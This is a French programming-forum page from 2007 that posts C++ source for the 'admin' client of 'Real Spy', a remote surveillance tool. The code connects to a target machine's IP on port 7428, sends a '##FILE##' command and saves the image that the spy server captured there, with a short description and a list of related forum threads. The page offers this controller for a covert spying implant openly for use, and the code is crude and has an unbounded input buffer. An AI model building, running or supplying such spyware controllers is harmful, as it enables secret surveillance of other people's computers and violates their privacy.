|
Trouver une ressource
Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !
REAL SPY - ADMIN
Information sur la source
Description
voila ce code permet d'utiliser real spy de "T_Mehdi" (http://www.cppfrance.com/codes/REAL-SPY_29881.aspx). Il utilise les sockets. -> Ce qu'il fait: se connecte à la cible pour lui envoyer une requette afin de recevoir l'image prise par realspy server puis il l'enregistre sous le nom image.vip
Source
- #include<stdio.h> //Pour printf & co...
- #include<winsock2.h>//Pour les sockets
- #include <iostream.h>
- #include <fstream.h>
- #pragma comment(lib,"ws2_32.lib")//idem
-
- int main()
- {
- std::cout <<"Bienvenue dans le programme admin de réalspy (par Vlad)\n";
- WSADATA wsa; //initialiser les wsa
- WSAStartup(MAKEWORD(2,0),&wsa); //on les initialise ici
-
- SOCKET sock; //Et voila notre socket !(ce n'est rien d'autre qu'une var int)
- SOCKADDR_IN sin;//Structure ds laquelle on va stocker les parametres du socket
-
- cout <<"\n entrez l'adresse ip : ";
-
- char ip[15]; //adresse ip
- scanf("%s",ip);
-
- sin.sin_family=AF_INET;
- sin.sin_addr.s_addr=inet_addr(ip);
- sin.sin_port=htons(7428);
- sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);// on initialise le socket
- bind(sock,(SOCKADDR*)&sin,sizeof(sin));//On lie le socket à la structure sin pour définir ses parametres
-
- if(connect(sock,(SOCKADDR*)&sin,sizeof(sin)))//essaie de se connecter, connect ressemble étrangement à bind
- {
-
- cout<<"La connection a echoue\n";
- system("PAUSE");
- exit(0);//fin du prog
- }
-
- char host[50];//pour stocker le nom de l'ordi local
- gethostname(host, sizeof(host));//obtient le nom de l'ordi local
-
- printf("%s connecte a %s\n",host,ip);//L'habituel printf
-
- char buffer[50];//initialisation de la variable
- memset(buffer,0,sizeof(buffer));//on nettoi buffer
- cout <<"\nEnvoi de la requette pour recevoir le fichier\n";
-
-
- send(sock,"##FILE##",8,0);//on envoie les entrées
- memset(buffer,0,sizeof(buffer));//encore :)
-
-
- HANDLE fichier; //pour écrire en mode binaire
- DWORD octetsEcrits;
- fichier = CreateFile("image.vip", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //création du fichier binaire
-
-
- recv(sock,buffer,sizeof(buffer),0);
- cout <<"\n";
- memset(buffer,0,sizeof(buffer));//on mets les \0
- int err=0;//détection des erreurs
- while(err>-1)//qn y'a err=-1 c'est que la connection foire
- {
- err=recv(sock,buffer,sizeof(buffer),0);//recoit des données du server ds buffer
-
- if (strcmp(buffer,"#End#")!=0)
- WriteFile(fichier, buffer ,sizeof(buffer),&octetsEcrits,NULL);
-
- if (strcmp(buffer,"#End#")==0) {
- cout <<"\nFin de la reception du fichier\a";
- break;
- }
-
- memset(buffer,0,sizeof(buffer));//on mets les \0
- }
-
- CloseHandle(fichier);
- cout <<"\nConnection terminée\n\n";
-
- WSACleanup();//vide les wsa
- system("PAUSE");//Pause
- }
#include<stdio.h> //Pour printf & co...
#include<winsock2.h>//Pour les sockets
#include <iostream.h>
#include <fstream.h>
#pragma comment(lib,"ws2_32.lib")//idem
int main()
{
std::cout <<"Bienvenue dans le programme admin de réalspy (par Vlad)\n";
WSADATA wsa; //initialiser les wsa
WSAStartup(MAKEWORD(2,0),&wsa); //on les initialise ici
SOCKET sock; //Et voila notre socket !(ce n'est rien d'autre qu'une var int)
SOCKADDR_IN sin;//Structure ds laquelle on va stocker les parametres du socket
cout <<"\n entrez l'adresse ip : ";
char ip[15]; //adresse ip
scanf("%s",ip);
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=inet_addr(ip);
sin.sin_port=htons(7428);
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);// on initialise le socket
bind(sock,(SOCKADDR*)&sin,sizeof(sin));//On lie le socket à la structure sin pour définir ses parametres
if(connect(sock,(SOCKADDR*)&sin,sizeof(sin)))//essaie de se connecter, connect ressemble étrangement à bind
{
cout<<"La connection a echoue\n";
system("PAUSE");
exit(0);//fin du prog
}
char host[50];//pour stocker le nom de l'ordi local
gethostname(host, sizeof(host));//obtient le nom de l'ordi local
printf("%s connecte a %s\n",host,ip);//L'habituel printf
char buffer[50];//initialisation de la variable
memset(buffer,0,sizeof(buffer));//on nettoi buffer
cout <<"\nEnvoi de la requette pour recevoir le fichier\n";
send(sock,"##FILE##",8,0);//on envoie les entrées
memset(buffer,0,sizeof(buffer));//encore :)
HANDLE fichier; //pour écrire en mode binaire
DWORD octetsEcrits;
fichier = CreateFile("image.vip", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //création du fichier binaire
recv(sock,buffer,sizeof(buffer),0);
cout <<"\n";
memset(buffer,0,sizeof(buffer));//on mets les \0
int err=0;//détection des erreurs
while(err>-1)//qn y'a err=-1 c'est que la connection foire
{
err=recv(sock,buffer,sizeof(buffer),0);//recoit des données du server ds buffer
if (strcmp(buffer,"#End#")!=0)
WriteFile(fichier, buffer ,sizeof(buffer),&octetsEcrits,NULL);
if (strcmp(buffer,"#End#")==0) {
cout <<"\nFin de la reception du fichier\a";
break;
}
memset(buffer,0,sizeof(buffer));//on mets les \0
}
CloseHandle(fichier);
cout <<"\nConnection terminée\n\n";
WSACleanup();//vide les wsa
system("PAUSE");//Pause
}
Fichier Zip
Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !
Télécharger le zip
Historique
- 10 septembre 2007 18:38:17 :
- correction d'une petite erreur
- 10 septembre 2007 18:41:00 :
- .
Sources de la même categorie
Sources en rapport avec celle ci
Commentaires et avis
Discussions en rapport avec ce code source dans le forum
Webcam Client Serveur Data Packets [ par c0nsur ]
Bonjour, J'aimerais savoir comment on peu avoir accès directement à une webcam car j'aimerais etre capable de diffuser en stream continu la webcam d'
se servir de real spy [ par vincedu67 ]
Bonjour à tous,voilà mon problème:je debute en informatique et j 'ai telechargé real spy seulement voilà que dois je faire pour pouvoir m'en servir?Po
application client serveur avec les socket en c [ par zizodev ]
Bonjour à tous,mon problème est comment créer une application 'qui demande'.Programme client et autre serveur client 'qui demande' :Pour se connecter
requetes SQL dans c++ builder 5 [ par mamel12 ]
bonjour à tous j'ai vraiment besoin d'aide.je travaille avec c++ builder 5 et j'ai créé des tables avec paradox, je veux maintenant poser des requetes
programme client serveur [ par titimzora ]
bonjour tt le mondej'ai besoin d'un programme permettant l'envoie d'un fichier texte LIGNE par LIGNE d'un serveur vers un client (communication entre
fonctions de listes chainees en c [ par loftiteau ]
bonjourje souhaite avoir d'aide pour faire des fonctions d'ajout et suppression et modification en utilisant la liste chainé suivante en language c :s
rpc et l accee concurant pour modifier le contenu d un fichier a distance [ par imirem ]
boujour les mec,j ai un projet de fin d etude ou je doit devlope un annuaire avec rpc pour que les client peuvent le consulte a distance ,parmit ces c
erreur serveur multitheard en c [ par dyroj ]
salut,j'ai créer un serveur echo en multithread et il marche a moitier sofe que par foi il confon les client.enfin c'est un peut bizare, par exemple q
comprendre le code source de NetCat [ par dyroj ]
bonjour a tous,il y a quelques temps que jessaye de comprendre le system qu'utilise l'outil netcat pour pour la communication reseau.Fonctionement de
programme socket client/serveur dans seul ficier [ par hanane7575 ]
bonjour tout le monde, j'au une ptite problem j'ai deja faire un programme client/serveur qui permet de transfers des fichies a ce niveau la tt passe
|
Téléchargements
Logiciels à télécharger sur le même thème :
Comparez les prix Nouvelle version
|